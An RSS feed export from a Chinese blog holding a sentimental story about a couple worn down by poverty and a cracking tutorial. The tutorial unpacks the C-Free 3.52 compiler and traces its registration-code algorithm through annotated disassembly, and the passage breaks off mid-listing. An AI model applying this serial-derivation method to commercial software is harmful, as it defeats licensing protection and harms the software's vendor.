<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>博客园-Fancy Blog</title><link>http://www.cnblogs.com/F4ncy/</link><description /><language>zh-cn</language><lastBuildDate>Mon, 06 Oct 2008 15:16:21 GMT</lastBuildDate><pubDate>Mon, 06 Oct 2008 15:16:21 GMT</pubDate><ttl>60</ttl><item><title>没有钱我们能爱多久</title><link>http://www.cnblogs.com/F4ncy/archive/2005/11/23/283094.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Wed, 23 Nov 2005 12:30:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/11/23/283094.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/283094.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/11/23/283094.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/283094.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/283094.html</trackback:ping><description><![CDATA[<P>没有钱我们能爱多久<BR><BR>我的女友很优秀，很出色，直至如今我仍想不出对她不一往情深的理由，她的优秀让我对所有感情的诱惑都不屑一顾，我们深深的倾情于对方，在校园那段美丽而又浪漫的日子里，我们身边全是羡慕的眼光。曾有一个喜欢我的女孩儿气乎乎的说我们的爱不会是永远，女友冲她做了个鬼脸，说我们是最幸福的一对。&nbsp; </P>
<P>在学校的时光过得开心而又潇洒，几乎每一次我们都是挽着手一起去上晚自习，无论再冷再热的天气我们都会换着时间在对方宿舍楼下等待。下雪的时候她为了我去学织手套，结果手都扎破了，为这些我幸福得炫耀了好多天。我们一起去食堂打饭，一起看电影，一起逛街，所有能在一起的时间我们都没有错过。我很喜欢我去打蓝球她在旁边拎着手服为我加油的样子，我很怀念她坐在我的旧单车后面轻轻依靠的感觉&nbsp; ，我为她偷过花园里的玫瑰，为她和别人比赛爬高，结果我摔下来头都破了&#8230;&#8230;那些日子，是我一生的最快乐。&nbsp; <BR>　　　　<BR>毕业后，我们为了能在一起和各自的家人都闹翻了，他们说我们不会幸福，可那根本无济于事，没人能拦住我们。&nbsp; <BR>　　　　<BR>可是，我们从搬进租来房子的第一天起，就默不作声的坐了半天，因我们第一次知道了什么都没有的滋味，她的父母是机关干部，她是他们唯一的女儿；我的家人做生意，而我也是独子，衣来伸手，饭来张口的待遇一去不复返，好在我们是相爱的，&nbsp; 我们是真心的，于是相视着笑了，拍拍手，开始了新的生活。&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>社会给我们上了生动的一课。我们真正知道了有学历找工作也并非那么符合心愿&nbsp; ，从起初的高不成低不就惭惭变成能挣钱的都干，体会了生活的艰辛，领教了现实的残酷，然而我们很开心，因为我们能在一起。&nbsp; <BR>　　　　<BR>第一个月发工资我给她买了条围巾，买了份烤鸭和饺子，她却哭了，像个委屈的孩子的在我怀里泣不成声，我的心酸透了，那一刻，我很难过。&nbsp; <BR>　　　　<BR>在寒冬的夜里，我们围着电暖哭取暖，她作出以苦思甜状靠在我的肩头，她美丽的大眼睛里的那种眼神让我感觉很忧伤，我伏在她耳边说一定要让她过上好日子，我们一定会像从前那样让人羡慕的。她说能相爱已经是很幸福的事情了，我们还奢求什么呢？只要你能留在我的身边，只要我们永远都能这样相偎着互相取暖，只要你发工资还能记得给我买烤鸭和饺子，我就是世上最幸福的女人，再说那些有钱人未必会像我们这样相亲相爱，记住，我们是最幸福的一对，无论发生什么事情我都不要你离开我！&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>她的话让我心头一热，紧紧的拥住她，我不敢让她看到我的眼泪，因为她喜欢坚强的男孩儿。我在心里一遍一遍告诉自己要努力，那晚我们再次海誓山盟，那晚我们&nbsp; 幻想未来，那晚我们相约一辈子不离不弃。&nbsp; <BR>　　　　<BR>我想我们的爱够轰轰烈烈了，我想我们的情足以让天地动容了，可就在那晚，房东太太催我们交房租，我们的幸福很让她感动，但她眼睛里更多的是同情和怀疑。&nbsp; <BR>　　&nbsp; <BR>我们每次很穷的时候都会情不自禁的说起在学校的浪漫时光，那时我们不开心的时候只需在校园迷人的小路上拉着手走一段就没事了，那年的圣诞夜我跑遍了城市所&nbsp; 有的精品屋才找到她喜爱已久的八音盒，那时她最爱给我讲王子与公主的故事，那时&nbsp; 我的皮肤哪怕蹭破一块皮她也会心疼得掉眼泪。&nbsp; <BR>　　　　<BR>可是现在，我所能够给她的幸福只是在发工资时才舍得买的一份烤鸭和饺子。&nbsp; <BR>　　&nbsp; <BR>尽管生活慢慢的好起来，但这种所谓的进步只是相对于以前的寒酸。我们惭惭都&nbsp; 有了个稳定的工作，也攒了一些钱，但从那时开始我们谈的最多的却成了如何买房子，我们幻想着有一天能有自己漂亮的私家车，她说她给我看中了一套皮尔卡丹西服，她说要把我打造成一个完美男人。可我知道，每次路过美容店的时候她都很忧伤，当我看到她那美丽的容颜因缺少保养而有些黯然的时候，我一下子感觉到了自己在这个社会里的渺小，惭愧呀，但却只能苦笑！于是那天我花了六百块钱给她买了点美容用的东西，她高兴得像个孩子那样又蹦又跳，此情此景，我唯一能做的也许只能是长叹一口气吧！&nbsp; <BR>　　　　<BR>我去过她就职的那家广告公司，那些不漂亮的女人们背着意大利真皮皮包，穿着上千元的套装。我也去过她同事的家，那些漂亮房子里有着超大屏幕的背投影电视，有着可以将整个人都埋进去的舒适的沙发，有浪漫的灯光，有红酒，甚至养着名贵的狗。女主人在炫耀着她的名牌袜子，她价值昂贵的首饰，这一切，只是因为她们找了个有钱的老公，面对满屋子的时尚，我偷偷的脸红了。&nbsp; <BR>　　　　<BR>她们兴高采烈的谈论着一部最新引进大片，而我却想到了女友在菜市场为了一毛&nbsp; 两毛钱和人讨价还价的模样，别人说这么漂亮的女孩儿还这么小气时她的无地自容;记得有天她偷偷对着镜子流泪，因为她那纤细而又娇嫩的手因洗衣而变得苍白，因为&nbsp; &#8230;&#8230;，我不知道能够列举出多少因为，但我知道，这一切，只是因为我们还没有能够过上像在家里那样的生活，因为我们没有钱；记起挤公交车的尴尬；记起她委屈而又不欲外露的神情。&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>我看了女友一眼，她双腮酡红，过了一会儿她提出有事要先告辞，我知道她是为我着想，我也清晰的记得，那一晚，我们都失眠了。&nbsp; <BR>　　　　<BR>从此她成了幸福但不快乐的女孩儿，她像我一样拼命的工作，打拼在这个现实的&nbsp; 社会里，每天一下班都已是一身一心的疲惫，望着她曾经天真单纯而今写满倦意的脸&nbsp; <BR>庞，望着她为了不让我难过而强自微笑的表情，我的心碎了。&nbsp; <BR>　　　　<BR>于是我拼命的挣钱，像牛一样勤耕不辍，拉着我们的感情前行。我们的事业是有希望的，因为我们有才华，因为我们很努力，但成功却是一个漫长的过程。生活过的&nbsp; 好一些了，但我们都知道在我们工作的那个圈子，我们依旧是贫下中农，我偷偷的学会了喝酒、抽烟。&nbsp; <BR>　　　　<BR>在二年七个月零十三天的那个晚上，她走了，留下一封让我心碎而又无奈的信，她说：宝贝儿，我很爱你，你知道的，我很爱你！为了你，我可以什么都不顾，为了你，我可以毫不犹豫的牺牲自己，你是我的一切，是我的幸福，可正是因为这份爱才让我决定离开你，我将所有的眼泪都留在了这间屋子里，我将所有的情谊都刻在了心里，可我不忍再看你为了让我过的好一点而不要命的工作，我不忍再看你在压力下日惭消瘦，你知道吗？每次你偷偷的喝酒回来，我的心都在痛啊！&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>我很无奈，我们都很无奈，因为我不知道，没有钱，我们能爱多久？&nbsp; <BR>　　　　<BR>当初，为了你我留了下来，如今，为了你我要离开，我的背包里装满了让人心醉&nbsp; 的回忆，也许有一天我还会回来，因为我爱你，没有你，我的生命便没有色彩，可是现在让我走吧，那样你会轻松一点，我们都会轻松一点，好吗？&nbsp; <BR>　　　　<BR>照顾自己&#8230;&#8230;&nbsp; <BR>　　　　　　　　　　　　　　　　　　　　　　　&nbsp; <BR>是啊！没有钱，我们能爱多久？&#8221; 在她走后，我反复的吟念这句让人心酸的台词，眼泪再次无声的滑落&#8230;&#8230;&nbsp; <BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/283094.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42809/" target="_blank">[新闻]51.COM技术副总裁邵辉跳槽百度</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>编译器C-Free V352注册算法分析</title><link>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239976.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 19 Sep 2005 13:23:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239976.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/239976.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239976.html#Feedback</comments><slash:comments>7</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/239976.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/239976.html</trackback:ping><description><![CDATA[<P>编译器C-Free V352注册算法分析</P>
<P>作者：prince</P>
<P>ASPack 2.12 脱壳很简单，ASPackDie也可以轻松对付。无自校验，脱壳后可直接运行。注册情况：机器码给出，输入用户名prince和序列号8764321，确定，提示重启验证。<BR>说到重启验证，最简单最直接的就想到注册表，确认一下，打开注册表搜索用户名prince，果然找到在\HKEY_LOCAL_MACHINE\SOFTWARE\C-Free\3.5下，同样列在其中的还有我们输入的假码87654321和我机器上的机器码(MachineCode)2781318776。这下我们就可以确定了软件确实是通过注册表来进行重启验证的。目标如此明确，载入脱壳后的程序，下断点RegQueryValueA，恩？没有，再下RegQueryValueExA，呵呵，可以了。F9运行，马上被断下，看堆栈，ValueName = "layout text"，不是我们想要的，继续F9，注意断点不能取消，因为后面的对注册表的读取还是要靠这个函数，再次断下，还不是，再运行...，大约81次，堆栈中显示ValueName<BR>= "MachineCode"，这就是要读取机器码了，注意。再次F9，断在读取RegistryCode也就是假码的地方，呵呵，敏感。再接下来是读取UserName，即用户名。到这里，计算注册码的准备工作就做完了，可是在那里计算的呢？作者在软件启动的时候将所有的配置信息连同机器码，用户名和注册码一起读出，而且也没有读出后立即计算注册码继续比较，这就给我们定位注册码计算造成了困难。这个时候我们该怎么办？两个办法，一个就是下面都进行单步跟踪，直到找到关键函数为止，毕竟软件在启动前肯定会计算注册码的；另外一个办法就是在内存中搜索假码然后下内存断点，这个方法倒是即快又方便，但是要掌握时机，具体什么时候搜内存要看代码的动作。我通常都是先搜内存，不行的话只好一步一步的单跟了，做Cracker要有耐心。当你在堆栈中看到ValueName = "EditorTabWidth"的时候，小心，呵呵，我们到了藏有宝藏的秘密入口了。</P>
<P>----------------------------------------------------------------------------------------<BR>00419654&nbsp; |.&gt;MOV WORD PTR DS:[EBX+10],4B8<BR>0041965A&nbsp; |.&gt;MOV EDX,unpacked.005DAA4C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; ASCII "EditorTabWidth"<BR>0041965F&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-620]<BR>00419665&nbsp; |.&gt;CALL unpacked.0058D308<BR>0041966A&nbsp; |.&gt;INC DWORD PTR DS:[EBX+1C]<BR>0041966D&nbsp; |.&gt;MOV EDX,DWORD PTR DS:[EAX]<BR>0041966F&nbsp; |.&gt;MOV EAX,ESI<BR>00419671&nbsp; |.&gt;CALL unpacked.004E936C<BR>00419676&nbsp; |.&gt;MOV ECX,DWORD PTR DS:[EDI]<BR>00419678&nbsp; |.&gt;MOV EDX,2<BR>0041967D&nbsp; |.&gt;MOV DWORD PTR DS:[ECX+A0C],EAX<BR>00419683&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-620]<BR>00419689&nbsp; |.&gt;DEC DWORD PTR DS:[EBX+1C]<BR>0041968C&nbsp; |.&gt;CALL unpacked.0058D520<BR>00419691&nbsp; |.&gt;MOV ECX,DWORD PTR DS:[EDI]<BR>00419693&nbsp; |.&gt;MOV BYTE PTR DS:[ECX+8F4],0<BR>0041969A&nbsp; |.&gt;MOV EAX,DWORD PTR DS:[EDI]<BR>0041969C&nbsp; |.&gt;INC DWORD PTR DS:[EAX+8F0]<BR>004196A2&nbsp; |.&gt;CALL unpacked.00462F18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 取机器码送EAX<BR>004196A7&nbsp; |.&gt;MOV DWORD PTR SS:[EBP-764],EAX<BR>004196AD&nbsp; |.&gt;MOV WORD PTR DS:[EBX+10],98<BR>004196B3&nbsp; |.&gt;MOV EDX,DWORD PTR DS:[EDI]<BR>004196B5&nbsp; |.&gt;MOV ECX,DWORD PTR DS:[EDX+8E4]<BR>004196BB&nbsp; |.&gt;CMP ECX,DWORD PTR SS:[EBP-764]<BR>004196C1&nbsp; |.&gt;JNZ unpacked.00419772<BR>004196C7&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-884]<BR>004196CD&nbsp; |.&gt;PUSH EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; /Arg2<BR>004196CE&nbsp; |.&gt;MOV EDX,DWORD PTR SS:[EBP-764]&nbsp;&nbsp; ; |[EBP-764]==机器码<BR>004196D4&nbsp; |.&gt;PUSH EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg1<BR>004196D5&nbsp; |.&gt;CALL unpacked.00462F70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; \关键CALL，跟进<BR>004196DA&nbsp; |.&gt;MOV WORD PTR DS:[EBX+10],4C4&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面的这个CALL计算真码，存放在EAX中(哎！又是明文</P>
<P>)<BR>004196E0&nbsp; |.&gt;ADD ESP,8<BR>004196E3&nbsp; |.&gt;LEA EDX,DWORD PTR SS:[EBP-884]&nbsp;&nbsp; ;&nbsp; 真码地址送入EDX<BR>004196E9&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-624]<BR>004196EF&nbsp; |.&gt;CALL unpacked.0058D308<BR>004196F4&nbsp; |.&gt;INC DWORD PTR DS:[EBX+1C]<BR>004196F7&nbsp; |.&gt;MOV EDX,DWORD PTR DS:[EAX]<BR>004196F9&nbsp; |.&gt;MOV EAX,DWORD PTR DS:[EDI]<BR>004196FB&nbsp; |.&gt;MOV EAX,DWORD PTR DS:[EAX+8E8]&nbsp;&nbsp; ;&nbsp; 假码送入EAX，呵呵，准备比较了哦<BR>00419701&nbsp; |.&gt;CALL unpacked.004ECED4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 比较函数，嘿嘿。<BR>00419706&nbsp; |.&gt;TEST EAX,EAX<BR>00419708&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-624]</P>
<P>----------------------------------------------------------------------------------------</P>
<P>我们要找算法的计算过程，所以004196D5 处跟进：</P>
<P>----------------------------------------------------------------------------------------<BR>00462F70&nbsp; /$&gt;PUSH EBP<BR>00462F71&nbsp; |.&gt;MOV EBP,ESP<BR>00462F73&nbsp; |.&gt;ADD ESP,-0C<BR>00462F76&nbsp; |.&gt;XOR EDX,EDX<BR>00462F78&nbsp; |.&gt;PUSH EBX<BR>00462F79&nbsp; |.&gt;PUSH ESI<BR>00462F7A&nbsp; |.&gt;PUSH EDI<BR>00462F7B&nbsp; |.&gt;MOV EBX,25&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; EBX=0x25<BR>00462F80&nbsp; |.&gt;MOV ECX,DWORD PTR SS:[EBP+8]&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; [EBP+8]==机器码<BR>00462F83&nbsp; |.&gt;XOR ECX,90909090&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 机器码异或90909090，ECX==35571EE8<BR>00462F89&nbsp; |.&gt;MOV EAX,ECX<BR>00462F8B&nbsp; |.&gt;DIV EBX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面异或的结果除以25<BR>00462F8D&nbsp; |.&gt;MOV EAX,EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数送EAX<BR>00462F8F&nbsp; |.&gt;CMP EAX,11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数同0x11比较<BR>00462F92&nbsp; |.&gt;JGE SHORT unpacked.00462F97&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 大于等于就直接压栈准备函数调用<BR>00462F94&nbsp; |.&gt;ADD EAX,11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 否则余数+0x11，然后再入栈<BR>00462F97&nbsp; |&gt;&gt;PUSH EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; /Arg3 余数入栈<BR>00462F98&nbsp; |.&gt;LEA EDX,DWORD PTR SS:[EBP-C]&nbsp;&nbsp;&nbsp;&nbsp; ; |<BR>00462F9B&nbsp; |.&gt;PUSH EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg2<BR>00462F9C&nbsp; |.&gt;PUSH ECX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg1 上面异或结果入栈<BR>00462F9D&nbsp; |.&gt;CALL unpacked.005861F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; \跟进<BR>00462FA2&nbsp; |.&gt;MOV ECX,DWORD PTR SS:[EBP+C]<BR>00462FA5&nbsp; |.&gt;ADD ESP,0C<BR>00462FA8&nbsp; |.&gt;MOV ESI,ECX<BR>00462FAA&nbsp; |.&gt;XOR EAX,EAX<BR>00462FAC&nbsp; |.&gt;LEA EDI,DWORD PTR SS:[EBP-C]</P>
<P>----------------------------------------------------------------------------------------</P>
<P>00462F9D 处继续跟进：</P>
<P>----------------------------------------------------------------------------------------<BR>005861F0&nbsp; /$&gt;PUSH EBP<BR>005861F1&nbsp; |.&gt;MOV EBP,ESP<BR>005861F3&nbsp; |.&gt;MOV EAX,DWORD PTR SS:[EBP+10]<BR>005861F6&nbsp; |.&gt;MOV EDX,DWORD PTR SS:[EBP+8]<BR>005861F9&nbsp; |.&gt;CMP EAX,0A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数同0A比较<BR>005861FC&nbsp; |.&gt;PUSH 61<BR>005861FE&nbsp; |.&gt;SETE CL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 条件为假，所以CL清零<BR>00586201&nbsp; |.&gt;AND ECX,1<BR>00586204&nbsp; |.&gt;CMP EAX,0A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 仍然同0A比较<BR>00586207&nbsp; |.&gt;PUSH ECX<BR>00586208&nbsp; |.&gt;PUSH EAX<BR>00586209&nbsp; |.&gt;MOV ECX,DWORD PTR SS:[EBP+C]<BR>0058620C&nbsp; |.&gt;PUSH ECX<BR>0058620D&nbsp; |.&gt;JNZ SHORT unpacked.00586213<BR>0058620F&nbsp; |.&gt;MOV EAX,EDX<BR>00586211&nbsp; |.&gt;JMP SHORT unpacked.00586215<BR>00586213&nbsp; |&gt;&gt;MOV EAX,EDX<BR>00586215&nbsp; |&gt;&gt;PUSH EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg1<BR>00586216&nbsp; |.&gt;CALL unpacked.00586160&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; \跟进<BR>0058621B&nbsp; |.&gt;ADD ESP,14<BR>0058621E&nbsp; |.&gt;POP EBP<BR>0058621F&nbsp; \.&gt;RETN</P>
<P>----------------------------------------------------------------------------------------</P>
<P>没有结果，00586216处继续跟进：</P>
<P>----------------------------------------------------------------------------------------<BR>00586160&nbsp; /$&gt;PUSH EBP<BR>00586161&nbsp; |.&gt;MOV EBP,ESP<BR>00586163&nbsp; |.&gt;ADD ESP,-24<BR>00586166&nbsp; |.&gt;PUSH EBX<BR>00586167&nbsp; |.&gt;PUSH ESI<BR>00586168&nbsp; |.&gt;PUSH EDI<BR>00586169&nbsp; |.&gt;MOV EDI,DWORD PTR SS:[EBP+10]&nbsp;&nbsp;&nbsp; ;&nbsp; [EBP+10]为前面压栈的余数<BR>0058616C&nbsp; |.&gt;MOV ESI,DWORD PTR SS:[EBP+8]&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; [EBP+8]为机器码异或90909090的结果<BR>0058616F&nbsp; |.&gt;MOV EBX,DWORD PTR SS:[EBP+C]<BR>00586172&nbsp; |.&gt;CMP EDI,2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数同0x2比较<BR>00586175&nbsp; |.&gt;JL SHORT unpacked.005861C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 小于跳<BR>00586177&nbsp; |.&gt;CMP EDI,24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 同0x24比较<BR>0058617A&nbsp; |.&gt;JG SHORT unpacked.005861C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 大于则跳<BR>0058617C&nbsp; |.&gt;TEST ESI,ESI<BR>0058617E&nbsp; |.&gt;JGE SHORT unpacked.0058618C<BR>00586180&nbsp; |.&gt;CMP BYTE PTR SS:[EBP+14],0<BR>00586184&nbsp; |.&gt;JE SHORT unpacked.0058618C<BR>00586186&nbsp; |.&gt;MOV BYTE PTR DS:[EBX],2D<BR>00586189&nbsp; |.&gt;INC EBX<BR>0058618A&nbsp; |.&gt;NEG ESI<BR>0058618C&nbsp; |&gt;&gt;LEA ECX,DWORD PTR SS:[EBP-24]&nbsp;&nbsp;&nbsp; ;&nbsp; 下面为关键循环<BR>0058618F&nbsp; |&gt;&gt;/MOV EAX,ESI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; ESI==机器码异或结果<BR>00586191&nbsp; |.&gt;|XOR EDX,EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; EDX清零<BR>00586193&nbsp; |.&gt;|DIV EDI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 将上面异或结果除以压栈的余数<BR>00586195&nbsp; |.&gt;|MOV BYTE PTR DS:[ECX],DL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面计算的余数的一个字节写入内存<BR>00586197&nbsp; |.&gt;|INC ECX<BR>00586198&nbsp; |.&gt;|MOV EAX,ESI<BR>0058619A&nbsp; |.&gt;|XOR EDX,EDX<BR>0058619C&nbsp; |.&gt;|DIV EDI<BR>0058619E&nbsp; |.&gt;|MOV ESI,EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 又做了一次相同的计算，商送入ESI<BR>005861A0&nbsp; |.&gt;|TEST EAX,EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 直到EAX==0为止<BR>005861A2&nbsp; |.&gt;\JNZ SHORT unpacked.0058618F&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 不为0则继续循环<BR>005861A4&nbsp; |.&gt;JMP SHORT unpacked.005861BD<BR>005861A6&nbsp; |&gt;&gt;/DEC ECX<BR>005861A7&nbsp; |.&gt;|MOV AL,BYTE PTR DS:[ECX]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 内存[ECX]的值送入AL<BR>005861A9&nbsp; |.&gt;|CMP 